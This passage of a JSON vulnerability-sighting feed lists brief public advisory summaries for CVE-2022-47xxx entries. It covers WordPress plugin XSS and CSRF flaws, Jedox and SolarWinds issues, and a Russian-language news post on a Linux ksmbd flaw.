"4b70edeb-160f-4413-ab18-41f6b010e354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47436", "type": "seen", "source": "https://t.me/cibsecurity/63736", "content": "\u203c CVE-2022-47436 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in MantraBrain Yatra plugin <=\u00c2\u00a02.1.14 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-10T14:14:24.000000Z"}, {"uuid": "39f34f0c-4210-4811-88a9-729ed8b828e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47423", "type": "seen", "source": "https://t.me/cibsecurity/63734", "content": "\u203c CVE-2022-47423 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Ulf Benjaminsson WP-dTree plugin <=\u00c2\u00a04.4.5 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-10T14:14:19.000000Z"}, {"uuid": "280b1120-6e59-4abd-a41c-bff60ec5affa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47129", "type": "seen", "source": "https://t.me/cibsecurity/63896", "content": "\u203c CVE-2022-47129 \u203c\n\nPHPOK v6.3 was discovered to contain a remote code execution (RCE) vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T18:15:30.000000Z"}, {"uuid": "10a4f746-6e6b-4304-9310-12bbeeca7a41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47590", "type": "seen", "source": "https://t.me/cibsecurity/63743", "content": "\u203c CVE-2022-47590 \u203c\n\nUnauth. Reflected Cross-Site Scripting (XSS) vulnerability in Fugu Maintenance Switch plugin <=\u00c2\u00a01.5.2 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-10T14:39:31.000000Z"}, {"uuid": "d6324378-3dd6-4fac-945c-17b3119a84ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47587", "type": "seen", "source": "https://t.me/cibsecurity/63741", "content": "\u203c CVE-2022-47587 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Cornel Raiu WP Search Analytics plugin <=\u00c2\u00a01.4.5 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-10T14:14:32.000000Z"}, {"uuid": "8e3762a8-aaa5-4e37-8e70-fe9fb97c32f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47441", "type": "seen", "source": "https://t.me/cibsecurity/63739", "content": "\u203c CVE-2022-47441 \u203c\n\nUnauth. Reflected Cross-Site Scripting (XSS) vulnerability in Charitable Donations & Fundraising Team Donation Forms by Charitable plugin <=\u00c2\u00a01.7.0.10 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-10T14:14:27.000000Z"}, {"uuid": "748353f2-d7d0-48e8-b028-e5fa8cc98dad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47600", "type": "seen", "source": "https://t.me/cibsecurity/63733", "content": "\u203c CVE-2022-47600 \u203c\n\nUnauth. Reflected Cross-Site Scripting (XSS) vulnerability in I Thirteen Web Solution Mass Email To users plugin <=\u00c2\u00a01.1.4 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-10T14:14:18.000000Z"}, {"uuid": "b9e2fadd-5476-4d22-96fe-f4599a9090df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47137", "type": "seen", "source": "https://t.me/cibsecurity/63731", "content": "\u203c CVE-2022-47137 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in WPManageNinja LLC Ninja Tables plugin <=\u00c2\u00a04.3.4 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-10T14:14:16.000000Z"}, {"uuid": "f6617d47-981f-4b2a-8af3-9d680e66ab28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47757", "type": "seen", "source": "https://t.me/cibsecurity/63278", "content": "\u203c CVE-2022-47757 \u203c\n\nIn imo.im 2022.11.1051, a path traversal vulnerability delivered via an unsanitized deeplink can force the application to write a file into the application's data directory. This may allow an attacker to save a shared library under a special directory which the app uses to dynamically load modules. Loading the library can lead to arbitrary code execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-04T07:56:47.000000Z"}, {"uuid": "d404a432-05e6-4f16-a2cd-f9ac6c64d827", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47877", "type": "seen", "source": "https://t.me/cibsecurity/63176", "content": "\u203c CVE-2022-47877 \u203c\n\nA Stored cross-site scripting vulnerability in Jedox 2020.2.5 allows remote, authenticated users to inject arbitrary web script or HTML in the Logs page via the log module 'log'.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-03T00:30:26.000000Z"}, {"uuid": "4e948165-9e8e-4b1b-8168-0a0e1ce788c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47876", "type": "seen", "source": "https://t.me/cibsecurity/63190", "content": "\u203c CVE-2022-47876 \u203c\n\nThe integrator in Jedox GmbH Jedox 2020.2.5 allows remote authenticated users to create Jobs to execute arbitrary code via Groovy-scripts.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-03T00:30:42.000000Z"}, {"uuid": "0e2ccc60-5e00-4ce5-bf31-2905104993e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47875", "type": "seen", "source": "https://t.me/cibsecurity/63188", "content": "\u203c CVE-2022-47875 \u203c\n\nA Directory Traversal vulnerability in /be/erpc.php in Jedox GmbH Jedox 2020.2.5 allows remote authenticated users to execute arbitrary code.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-03T00:30:40.000000Z"}, {"uuid": "b19abb8e-13b4-4cf9-9d84-860478f37d9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47874", "type": "seen", "source": "https://t.me/cibsecurity/63178", "content": "\u203c CVE-2022-47874 \u203c\n\nImproper Access Control in /tc/rpc in Jedox GmbH Jedox 2020.2.5 allows remote authenticated users to view details of database connections via class 'com.jedox.etl.mngr.Connections' and method 'getGlobalConnection'.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-03T00:30:28.000000Z"}, {"uuid": "28e659b1-78a7-4fd6-b32f-e2901afceed4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47878", "type": "seen", "source": "https://t.me/cibsecurity/63174", "content": "\u203c CVE-2022-47878 \u203c\n\nIncorrect input validation for the default-storage-path in the settings page in Jedox 2020.2.5 allows remote, authenticated users to specify the location as Webroot directory. Consecutive file uploads can lead to the execution of arbitrary code.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-03T00:30:24.000000Z"}, {"uuid": "1e665c74-8d0f-453f-84df-b180dc539d07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47758", "type": "seen", "source": "https://t.me/cibsecurity/62957", "content": "\u203c CVE-2022-47758 \u203c\n\nNanoleaf firmware v7.1.1 and below is missing an SSL certificate, allowing attackers to execute arbitrary code via a DHCP hijacking attack.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-27T07:39:51.000000Z"}, {"uuid": "87bd6d5f-5b55-48f2-8043-e9e5e4f9a935", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47608", "type": "seen", "source": "https://t.me/cibsecurity/62816", "content": "\u203c CVE-2022-47608 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Fullworks Quick Contact Form plugin <=\u00c2\u00a08.0.3.1 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-25T20:24:54.000000Z"}, {"uuid": "ae4de290-1786-4768-bdef-2752d2490d2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47598", "type": "seen", "source": "https://t.me/cibsecurity/62696", "content": "\u203c CVE-2022-47598 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in WP Plugins Pro WP Super Popup plugin\u00c2\u00a0<= 1.1.2 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-24T18:14:17.000000Z"}, {"uuid": "d10f941b-a387-4249-a618-325936984bfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47158", "type": "seen", "source": "https://t.me/cibsecurity/62712", "content": "\u203c CVE-2022-47158 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Pakpobox alfred24 Click & Collect plugin <=\u00c2\u00a01.1.7 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-24T18:14:39.000000Z"}, {"uuid": "3923ef58-3de7-417e-8024-d0773a6e51d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47509", "type": "seen", "source": "https://t.me/cibsecurity/62639", "content": "\u203c CVE-2022-47509 \u203c\n\nThe SolarWinds Platform was susceptible to the Incorrect Input Neutralization Vulnerability. This vulnerability allows a remote adversary with a valid SolarWinds Platform account to append URL parameters to inject HTML.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-22T00:32:07.000000Z"}, {"uuid": "26807968-07c9-4978-bdd3-d030198dc1b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47505", "type": "seen", "source": "https://t.me/cibsecurity/62635", "content": "\u203c CVE-2022-47505 \u203c\n\nThe SolarWinds Platform was susceptible to the Local Privilege Escalation Vulnerability. This vulnerability allows a local adversary with a valid system user account to escalate local privileges.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-22T00:32:00.000000Z"}, {"uuid": "9e10507d-3171-450e-8419-eba9d0a12307", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47930", "type": "seen", "source": "https://t.me/cibsecurity/62629", "content": "\u203c CVE-2022-47930 \u203c\n\nAn issue was discovered in IO FinNet tss-lib before 2.0.0. The parameter ssid for defining a session id is not used through the MPC implementation, which makes replaying and spoofing of messages easier. In particular, the Schnorr proof of knowledge implemented in sch.go does not utilize a session id, context, or random nonce in the generation of the challenge. This could allow a malicious user or an eavesdropper to replay a valid proof sent in the past.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-21T22:31:47.000000Z"}, {"uuid": "5e9db77e-420f-4f49-afec-e8e2ad7661f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47134", "type": "seen", "source": "https://t.me/cibsecurity/64491", "content": "\u203c CVE-2022-47134 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Bill Erickson Gallery Metabox plugin <=\u00c2\u00a01.5 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-21T07:21:06.000000Z"}, {"uuid": "0603013e-852b-4f79-afe6-f3bddade420c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47939", "type": "seen", "source": "https://t.me/shmelovod/673", "content": "\u200b\ud83d\udc27 \u0412 \u044f\u0434\u0440\u0435 Linux \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0431\u0430\u0433\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Thales Group \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 ksmbd \u044f\u0434\u0440\u0430 Linux, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 5.15. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2022-47939 \u0438 10 \u0431\u0430\u043b\u043b\u043e\u0432 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS.\n\nksmbd - \u044d\u0442\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 SMB3 \u0438 \u044f\u0432\u043b\u044f\u044e\u0449\u0438\u0439\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043e\u0439 Samba. \u041e\u043d \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438 \u043d\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e ksmbd \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0441\u0430\u043c\u043e\u043c \u044f\u0434\u0440\u0435, \u0430 \u043d\u0435 \u0432 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0422\u0430\u043a\u0436\u0435 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 ksmbd \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 SMB-\u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441 \u043d\u0438\u043c\u0438.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0431 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442\u043b\u043e\u0436\u0438\u043b\u0438 \u043f\u043e\u0447\u0442\u0438 \u043d\u0430 \u043f\u043e\u043b\u0433\u043e\u0434\u0430, \u0442.\u043a. \u0436\u0434\u0430\u043b\u0438 \u0432\u044b\u0445\u043e\u0434\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432 \u0441\u0438\u043b\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u0430\u0433\u0430.\n\n\u0422\u0435\u043c, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 ksmbd, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e Linux \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 5.15.61 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u043e\u0439, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430.\n\n\ud83d\uddde \u0411\u043b\u043e\u0433 \u041a\u043e\u0434\u0435\u0431\u0430\u0439\n\n#news #linux #vulnerability", "creation_timestamp": "2026-07-30T00:03:08.635122Z"}, {"uuid": "ecb417ca-89db-4193-b2e1-dea3dfcb0896", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47609", "type": "seen", "source": "https://t.me/cibsecurity/64510", "content": "\u203c CVE-2022-47609 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Nicearma DNUI plugin <=\u00c2\u00a02.8.1 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T12:25:35.000000Z"}, {"uuid": "547745b9-aeab-47bd-979f-b365b21e7c00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47142", "type": "seen", "source": "https://t.me/cibsecurity/64509", "content": "\u203c CVE-2022-47142 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Plugincraft Mediamatic \u00e2\u20ac\u201c Media Library Folders plugin <=\u00c2\u00a02.8.1 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T12:25:31.000000Z"}, {"uuid": "467af527-901b-4e97-93ba-fdaece01e3e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47611", "type": "seen", "source": "https://t.me/cibsecurity/64517", "content": "\u203c CVE-2022-47611 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Julian Weinert // cs&m Hover Image plugin <=\u00c2\u00a01.4.1 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T14:25:27.000000Z"}, {"uuid": "639354f3-8763-43d4-ab31-c3486d8e89ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47465", "type": "seen", "source": "https://t.me/cibsecurity/61861", "content": "\u203c CVE-2022-47465 \u203c\n\nIn vdsp service, there is a missing permission check. This could lead to local denial of service in vdsp service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-11T16:23:22.000000Z"}, {"uuid": "a8c58f26-351a-4da5-a88d-c8f912d54bca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47311", "type": "seen", "source": "https://t.me/cibsecurity/64584", "content": "\u203c CVE-2022-47311 \u203c\n\nA proprietary protocol for iBoot devices is used for control and keepalive commands. The function compares the username and password; it also contains the configuration data for the user specified. If the user does not exist, then it sends a value for username and password, which allows successful authentication for a connection.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-23T02:25:49.000000Z"}, {"uuid": "a82b09ff-10c3-49e7-b9a6-6aeb9744c6c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47320", "type": "seen", "source": "https://t.me/cibsecurity/64581", "content": "\u203c CVE-2022-47320 \u203c\n\nThe iBoot device\u00e2\u20ac\u2122s basic discovery protocol assists in initial device configuration. The discovery protocol shows basic information about devices on the network and allows users to perform configuration changes.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-23T02:25:46.000000Z"}, {"uuid": "bcf7d708-197d-4659-b2e4-9d97448ff568", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47183", "type": "seen", "source": "https://t.me/cibsecurity/64523", "content": "\u203c CVE-2022-47183 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in StylistWP Extra Block Design, Style, CSS for ANY Gutenberg Blocks plugin <=\u00c2\u00a00.2.6 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T14:25:36.000000Z"}, {"uuid": "6b51847f-fff1-4923-b2be-952691e1afcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47167", "type": "seen", "source": "https://t.me/cibsecurity/64519", "content": "\u203c CVE-2022-47167 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Aram Kocharyan Crayon Syntax Highlighter plugin <=\u00c2\u00a02.8.4 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T14:25:32.000000Z"}, {"uuid": "54be9b9b-48e7-4e3b-a30f-3b5e84eb8b51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47336", "type": "seen", "source": "https://t.me/cibsecurity/61866", "content": "\u203c CVE-2022-47336 \u203c\n\nIn telecom service, there is a missing permission check. This could lead to local denial of service in telecom service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-11T16:23:29.000000Z"}, {"uuid": "6a61c8fa-acdf-46bc-8714-6486aa10e2cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47463", "type": "seen", "source": "https://t.me/cibsecurity/61865", "content": "\u203c CVE-2022-47463 \u203c\n\nIn telecom service, there is a missing permission check. This could lead to local denial of service in telecom service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-11T16:23:27.000000Z"}, {"uuid": "895f1f23-0336-417e-863c-8131482f025e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47522", "type": "seen", "source": "https://t.me/cibsecurity/62208", "content": "\u203c CVE-2022-47522 \u203c\n\nThe IEEE 802.11 specifications through 802.11ax allow physically proximate attackers to intercept (possibly cleartext) target-destined frames by spoofing a target's MAC address, sending Power Save frames to the access point, and then sending other frames to the access point (such as authentication frames or re-association frames) to remove the target's original security context. This behavior occurs because the specifications do not require an access point to purge its transmit queue before removing a client's pairwise encryption key.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-15T07:26:26.000000Z"}, {"uuid": "8d3652e5-a25d-46c7-9262-79eab422193b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47501", "type": "seen", "source": "https://t.me/cibsecurity/62166", "content": "\u203c CVE-2022-47501 \u203c\n\nArbitrary file reading vulnerability in Apache Software Foundation Apache OFBiz when using the Solr plugin. This is a\u00c2\u00a0 pre-authentication attack. This issue affects Apache OFBiz: before 18.12.07.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-14T20:25:51.000000Z"}, {"uuid": "9dfe5d74-e465-48a2-879a-503261bfaf8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47027", "type": "seen", "source": "https://t.me/cibsecurity/62136", "content": "\u203c CVE-2022-47027 \u203c\n\nTimmystudios Fast Typing Keyboard v1.275.1.162 allows unauthorized apps to overwrite arbitrary files in its internal storage via a dictionary traversal vulnerability and achieve arbitrary code execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-14T16:26:04.000000Z"}, {"uuid": "8fc012f0-19f1-4c5c-aae0-11f5b1c28aaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47053", "type": "seen", "source": "https://t.me/cibsecurity/61968", "content": "\u203c CVE-2022-47053 \u203c\n\nAn arbitrary file upload vulnerability in the Digital Assets Manager module of DNN Corp DotNetNuke v7.0.0 to v9.10.2 allows attackers to execute arbitrary code via a 